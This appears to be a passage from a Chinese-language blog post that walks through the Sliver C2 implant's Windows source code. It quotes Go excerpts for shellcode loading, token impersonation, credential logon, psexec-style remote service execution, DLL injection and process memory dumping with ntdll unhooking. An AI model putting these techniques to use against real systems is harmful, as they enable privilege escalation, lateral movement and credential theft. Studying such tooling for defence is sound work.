w.WriteByte(0x0F) // js dword x86_code (skips length of x64 code)
w.WriteByte(0x88)
binary.Write(w, binary.LittleEndian, uint32(len(LOADER_EXE_X64)))
w.Write(LOADER_EXE_X64)
w.Write([]byte{0x5A, // in between 32/64 stubs: pop edx
0x51, // push ecx
0x52}) // push edx
w.Write(LOADER_EXE_X86)
picLen += len(LOADER_EXE_X86)
picLen += len(LOADER_EXE_X64)
}
//
lb := w.Len()
for i := 0; i < picLen-lb; i++ {
w.WriteByte(0x0)
}
//
return w, nil
}

      donut_loader是一段ShellCode,其代码位于https://github.com/TheWover/donut/blob/master/loader/loader.c原理如下:

  • 1> 加载CLR环境
  • 2> 获取程序域
  • 3> 装载程序集
  • 4> 执行程序集
1
2
3
4
5
6
https://github.com/BishopFox/sliver/blob/v1.5.30/client/command/exec/execute-assembly.go
https://github.com/BishopFox/sliver/blob/v1.5.30/server/rpc/rpc-tasks.go
https://github.com/BishopFox/sliver/blob/a8a36dd6e2c9796c51ab6983b5b615d19c6a6995/server/generate/donut.go#L57
https://github.com/BishopFox/sliver/blob/a8a36dd6e2c9796c51ab6983b5b615d19c6a6995/vendor/github.com/Binject/go-donut/donut/donut.go#L85
https://github.com/BishopFox/sliver/blob/a8a36dd6e2/vendor/github.com/Binject/go-donut/donut/loader_exe_x86.go
https://github.com/TheWover/donut/blob/master/loader/loader.c

0x04 getprivs

      https://github.com/BishopFox/sliver/blob/a8a36dd6e2/implant/sliver/priv/priv_windows.go的getprivs作用是根据进程句柄获取进程权限信息,主要分5步

  • 1)通过GetCurrentProcess获取当前进程Handle。
  • 2)通过OpenProcessToken打开当前进程Token句柄。
  • 3)通过GetTokenInformation获取Token信息,包含LUIDattributes,完整性级别。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
func GetPrivs() ([]PrivilegeInfo, string, string, error)
{
[....]
// Get a handle for the current process
currentProcHandle, err := windows.GetCurrentProcess()
//
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get a handle for the current process: ", err)
// {{end}}
return nil, integrity, processName, err
}
[....]
// Get the process token from the current process
err = windows.OpenProcessToken(currentProcHandle, windows.TOKEN_QUERY, &tokenHandle)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not open process token: ", err)
// {{end}}
return nil, integrity, processName, err
}
//
// Get the size of the token information buffer so we know how large of a buffer to allocate
// This produces an error about a data area passed to the syscall being too small, but
// we do not care about that because we just want to know how big of a buffer to make
windows.GetTokenInformation(tokenHandle, windows.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
//
// Make the buffer and get token information
// Using a bytes Buffer so that we can Read from it later
tokenInfoBuffer := bytes.NewBuffer(make([]byte, tokenInfoBufferSize))
//
err = windows.GetTokenInformation(tokenHandle,
windows.TokenPrivileges,
&tokenInfoBuffer.Bytes()[0],
uint32(tokenInfoBuffer.Len()),
&tokenInfoBufferSize,
)
//
if err != nil {
// {{if .Config.Debug}}
log.Println("Error in call to GetTokenInformation (privileges): ", err)
// {{end}}
return nil, integrity, processName, err
}
//
// The first 32 bits is the number of privileges in the structure
var privilegeCount uint32
err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &privilegeCount)
//
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not read the number of privileges from the token information.")
// {{end}}
return nil, integrity, processName, err
}
//
/*
The remaining bytes contain the privileges themselves
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]
Structure of the array: https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-luid_and_attributes
*/
[....]
//
// Get the process integrity before we leave
integrity, err = getProcessIntegrityLevel(tokenHandle)
//
if err != nil {
return privInfo, "Could not determine integrity level", processName, err
}
//
return privInfo, integrity, processName, nil
}

0x05 getststem

0x06 impersonate

      用于模拟用户登录(token),可以利用模拟用户登录来获取SYSTEM
      在https://github.com/BishopFox/sliver/blob/v1.5.30/implant/sliver/priv/priv_windows.go的impersonate方法中,核心是调用ImpersonateLoggedOnUser进行模拟登录,主要分为4步。

  • 1)首先通过OpenProcess,OpenProcessToken获取进程Token句柄。
  • 2)通过ImpersonateLoggedOnUser进行模拟登录。
  • 3)通过DuplicateTokenEx复制令牌,其实只是为了返回一个Token句柄罢了。
  • 4)分别启用当前进程的线程的”SeAssignPrimaryTokenPrivilege”, “SeIncreaseQuotaPrivilege”权限。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
func impersonateProcess(pid uint32) (newToken windows.Token, err error) {
var attr windows.SecurityAttributes
var requiredPrivileges = []string{"SeAssignPrimaryTokenPrivilege", "SeIncreaseQuotaPrivilege"}
primaryToken, err := getPrimaryToken(pid)
//
if err != nil {
// {{if .Config.Debug}}
log.Println("getPrimaryToken failed:", err)
// {{end}}
return
}
defer primaryToken.Close()
//
err = syscalls.ImpersonateLoggedOnUser(*primaryToken)
if err != nil {
// {{if .Config.Debug}}
log.Println("impersonateLoggedOnUser failed:", err)
// {{end}}
return
}
err = windows.DuplicateTokenEx(*primaryToken, windows.TOKEN_ALL_ACCESS, &attr, windows.SecurityDelegation, windows.TokenPrimary, &newToken)
if err != nil {
// {{if .Config.Debug}}
log.Println("duplicateTokenEx failed:", err)
// {{end}}
return
}
for _, priv := range requiredPrivileges {
err = enableCurrentThreadPrivilege(priv)
if err != nil {
// {{if .Config.Debug}}
log.Println("Failed to set priv", priv)
// {{end}}
return
}
}
return
}

0x07 make-token

      用已经泄露的用户信息进行登录形成一个新的token用于登录,在https://github.com/BishopFox/sliver/blob/v1.5.30/implant/sliver/priv/priv_windows.go的MakeToken方法中,核心是调用.LogonUserImpersonateLoggedOnUser进行登陆。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
func MakeToken(domain string, username string, password string) error {
var token windows.Token
//
pd, err := windows.UTF16PtrFromString(domain)
if err != nil {
return err
}
pu, err := windows.UTF16PtrFromString(username)
if err != nil {
return err
}
pp, err := windows.UTF16PtrFromString(password)
if err != nil {
return err
}
err = syscalls.LogonUser(pu, pd, pp, syscalls.LOGON32_LOGON_NEW_CREDENTIALS, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
if err != nil {
// {{if .Config.Debug}}
log.Printf("LogonUser failed: %v\n", err)
// {{end}}
return err
}
err = syscalls.ImpersonateLoggedOnUser(token)
if err != nil {
// {{if .Config.Debug}}
log.Println("impersonateLoggedOnUser failed:", err)
// {{end}}
return err
}
CurrentToken = token
return err
}

0x08 psexec

      利用psexec原理进行命令执行。代码位于https://github.com/BishopFox/sliver/blob/v1.5.30/client/command/exec/psexec.go的PsExecCmd方法。首先会从Profile中读取Service的二进制数据,并上传到目标主机,然后,创建和开启服务即可。Service二进制文件肯定是和正常的Psexec功能差不多。利用管道和拉起的进程通讯。并将结果传入发送给C2。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
//
var serviceBinary []byte
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
customExe := ctx.Flags.String("custom-exe")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
//
if customExe == "" {
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
//
[....]
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
fileBytes, err := os.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
}
serviceBinary = fileBytes
}
//
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Encoder: "gzip",
Data: uploadGzip,
Path: filePath,
Request: con.ActiveTarget.Request(ctx),
})
time.Sleep(5 * time.Second)
// start service
[...]
con.SpinUntil("Starting service ...", serviceCtrl)
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
BinPath: binaryPath,
Hostname: hostname,
Request: con.ActiveTarget.Request(ctx),
ServiceDescription: serviceDesc,
ServiceName: serviceName,
Arguments: "",
})
serviceCtrl <- true
<-serviceCtrl
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
if start.Response != nil && start.Response.Err != "" {
con.PrintErrorf("Error: %s", start.Response.Err)
return
}
con.PrintInfof("Successfully started service on %s (%s)\n", hostname, binaryPath)
removeChan := make(chan bool)
con.SpinUntil("Removing service ...", removeChan)
removed, err := con.Rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{
ServiceInfo: &sliverpb.ServiceInfoReq{
Hostname: hostname,
ServiceName: serviceName,
},
Request: con.ActiveTarget.Request(ctx),
})
[...]
}

0x09 runas

      以token方式执行,在https://github.com/BishopFox/sliver/blob/v1.5.30/implant/sliver/handlers/handlers_windows.gorunAsHandlerhttps://github.com/BishopFox/sliver/blob/v1.5.30/implant/sliver/priv/priv_windows.go的RunProcessAsUser函数中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
func runAsHandler(data []byte, resp RPCResponse) {
runAsReq := &sliverpb.RunAsReq{}
err := proto.Unmarshal(data, runAsReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
out, err := priv.RunProcessAsUser(runAsReq.Username, runAsReq.ProcessName, runAsReq.Args)
runAs := &sliverpb.RunAs{
Output: out,
}
if err != nil {
runAs.Response = &commonpb.Response{Err: err.Error()}
}
data, err = proto.Marshal(runAs)
resp(data, err)
}

0x10 spawdll

      本质就是通过CreateRemoteThread进行Dll注入。位于https://github.com/BishopFox/sliver/blob/v1.5.30/implant/sliver/handlers/handlers_windows.go的spawnDllHandler方法。和https://github.com/BishopFox/sliver/blob/v1.5.30/implant/sliver/taskrunner/task_windows.goSpawnDll方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args string, kill bool) (string, error) {
[....]
// 1 - Start process
cmd, err := startProcess(procName, processArgs, ppid, &stdoutBuff, &stderrBuff, true)
if err != nil {
return "", err
}
pid := cmd.Process.Pid
// {{if .Config.Debug}}
log.Printf("[*] %s started, pid = %d\n", procName, pid)
// {{end}}
handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true, uint32(pid))
if err != nil {
return "", err
}
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return "", err
}
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
[...]
dataAddr, err := allocAndWrite(data, lpTargetHandle, uint32(len(data)))
argAddr := uintptr(0)
[...]
log.Printf("[*] Args addr: 0x%08x\n", argAddr)
//{{end}}
startAddr := uintptr(dataAddr) + uintptr(offset)
threadHandle, err := protectAndExec(lpTargetHandle, dataAddr, startAddr, argAddr, uint32(len(data)))
[...]
return "", nil
}

0x11 procdump

      procdump进行进程转储,本质利用MiniDumpWriteDump的回调方法进行进程转储。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
dump := &WindowsDump{}
// {{if eq .Config.GOARCH "amd64"}}
// Hotfix for #66 - need to dig deeper
// {{if .Config.Evasion}}
err := evasion.RefreshPE(`c:\windows\system32\ntdll.dll`)
if err != nil {
//{{if .Config.Debug}}
log.Println("RefreshPE failed:", err)
//{{end}}
return dump, err
}
//
heapHandle, err := syscalls.GetProcessHeap()
if err != nil {
return dump, err
}
//
procMemCounters := syscalls.ProcessMemoryCounters{}
sizeOfMemCounters := uint32(unsafe.Sizeof(procMemCounters))
err = syscalls.GetProcessMemoryInfo(proc, &procMemCounters, sizeOfMemCounters)
if err != nil {
// {{if .Config.Debug}}
log.Printf("GetProcessMemoryInfo failed: %s\n", err)
// {{end}}
return dump, err
}
//
heapSize := procMemCounters.WorkingSetSize + IncrementSize
//
dumpBuffer, err := syscalls.HeapAlloc(heapHandle, 0x00000008, uintptr(heapSize))
if err != nil {
return dump, err
}
//
outData := outDump{
outPtr: dumpBuffer,
}
//
callbackInfo := MiniDumpCallbackInformation{
CallbackRoutine: windows.NewCallback(minidumpCallback),
CallbackParam: uintptr(unsafe.Pointer(&outData)),
}
//
err = syscalls.MiniDumpWriteDump(
proc,
pid,
0,
MiniDumpWithFullMemory,
0,
0,
uintptr(unsafe.Pointer(&callbackInfo)),
)
//
if err != nil {
//{{if .Config.Debug}}
log.Println("Minidump syscall failed:", err)
//{{end}}
return dump, err
}
[...]
}